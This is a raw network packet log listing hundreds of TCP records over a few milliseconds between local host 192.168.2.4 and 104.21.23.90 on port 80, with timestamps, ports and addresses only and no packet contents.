Jan 21, 2024 16:57:09.240881920 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.241384029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.241420984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.241456985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.241468906 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.241493940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.241535902 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.241566896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.241607904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.241643906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.241658926 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.241681099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.241719007 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.241724014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.241760969 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.241822004 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.242228031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.242245913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.242284060 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.242388964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.242405891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.242422104 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.242439985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.242446899 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.242456913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.242472887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.242480040 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.242491007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.242507935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.242508888 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.242546082 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.243185043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.243202925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.243220091 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.243253946 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.243257046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.243273973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.243290901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.243299961 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.243309021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.243326902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.243343115 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.243344069 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.243362904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.243371964 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.243407011 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.244138002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.244154930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.244170904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.244187117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.244193077 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.244204998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.244221926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.244231939 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.244239092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.244256973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.244262934 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.244275093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.244292021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.244294882 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.244337082 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.244854927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245028973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245045900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245060921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245078087 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.245079041 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245095968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245102882 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.245114088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245131969 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245141029 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.245150089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245167971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245170116 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.245184898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245202065 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245203972 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.245238066 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.245814085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245831013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245846987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245865107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.245876074 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.245914936 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.245982885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246000051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246016026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246032953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246038914 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.246051073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246068954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246069908 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.246088028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246105909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246107101 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.246141911 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.246814013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246830940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246846914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246865988 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.246947050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246963024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246978998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.246989965 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.246994972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.247013092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.247020960 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.247030973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.247047901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.247051954 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.247066021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.247083902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.247086048 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.247122049 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.247718096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.247776985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.247793913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.247812033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.247829914 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.247857094 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.248035908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248076916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248122931 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.248222113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248239040 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248254061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248270035 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248274088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.248287916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248305082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248316050 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.248322964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248339891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248346090 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.248358011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248374939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.248378038 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.248411894 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.249166965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249182940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249198914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249216080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249222994 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.249233007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249249935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249258995 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.249267101 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249284029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249290943 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.249300957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249317884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249320984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.249335051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249352932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.249353886 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.249387980 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.250109911 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250127077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250142097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250159979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250166893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.250176907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250194073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250201941 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.250211000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250227928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250232935 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.250243902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250260115 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250267982 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.250278950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250296116 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.250300884 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.250335932 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.251075029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251091957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251107931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251123905 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251132011 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.251138926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251154900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251162052 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.251173973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251192093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251194954 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.251210928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251228094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251239061 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.251245022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251261950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.251274109 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.251313925 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.252028942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252054930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252080917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252104044 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.252104998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252130985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252149105 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.252156019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252181053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252201080 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.252206087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252232075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252247095 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.252257109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252281904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252296925 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.252307892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252350092 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.252887011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252913952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.252959967 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.253057957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253083944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253108978 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253130913 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.253135920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253160954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253179073 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.253186941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253211975 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253226995 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.253237963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253262997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253282070 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.253288031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253339052 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.253781080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253823042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253848076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253870010 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.253874063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253910065 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253921032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.253936052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253961086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.253982067 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.253985882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.254013062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.254024029 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.254038095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.254064083 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.254077911 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.254089117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.254129887 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.254705906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.254730940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.254781008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.254971981 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255002022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255029917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255048037 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.255054951 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255079985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255098104 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.255105019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255131006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255150080 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.255156040 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255182028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255207062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255213976 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.255233049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255250931 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.255259037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255284071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255296946 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.255839109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.255887985 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.256004095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256030083 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256055117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256069899 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.256081104 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256104946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256122112 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.256129026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256161928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256174088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.256187916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256212950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256230116 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.256238937 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256263971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256282091 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.256289959 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256329060 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.256818056 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256843090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256867886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.256887913 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.256997108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257021904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257046938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257052898 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.257072926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257086992 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.257098913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257123947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257133007 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.257148981 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257174015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257194042 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.257208109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257235050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257253885 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.257704020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257730007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257752895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.257827044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257853031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257877111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257883072 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.257913113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257927895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.257939100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257963896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257987022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.257991076 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.258013964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.258033991 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.258039951 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.258066893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.258076906 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.258094072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.258133888 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.258811951 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.258837938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.258862019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.258886099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.258888006 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.258912086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.258927107 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.258936882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.258961916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.258970976 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.258989096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.259013891 CET	80	49730	104.21.23.90	192.168.2.4
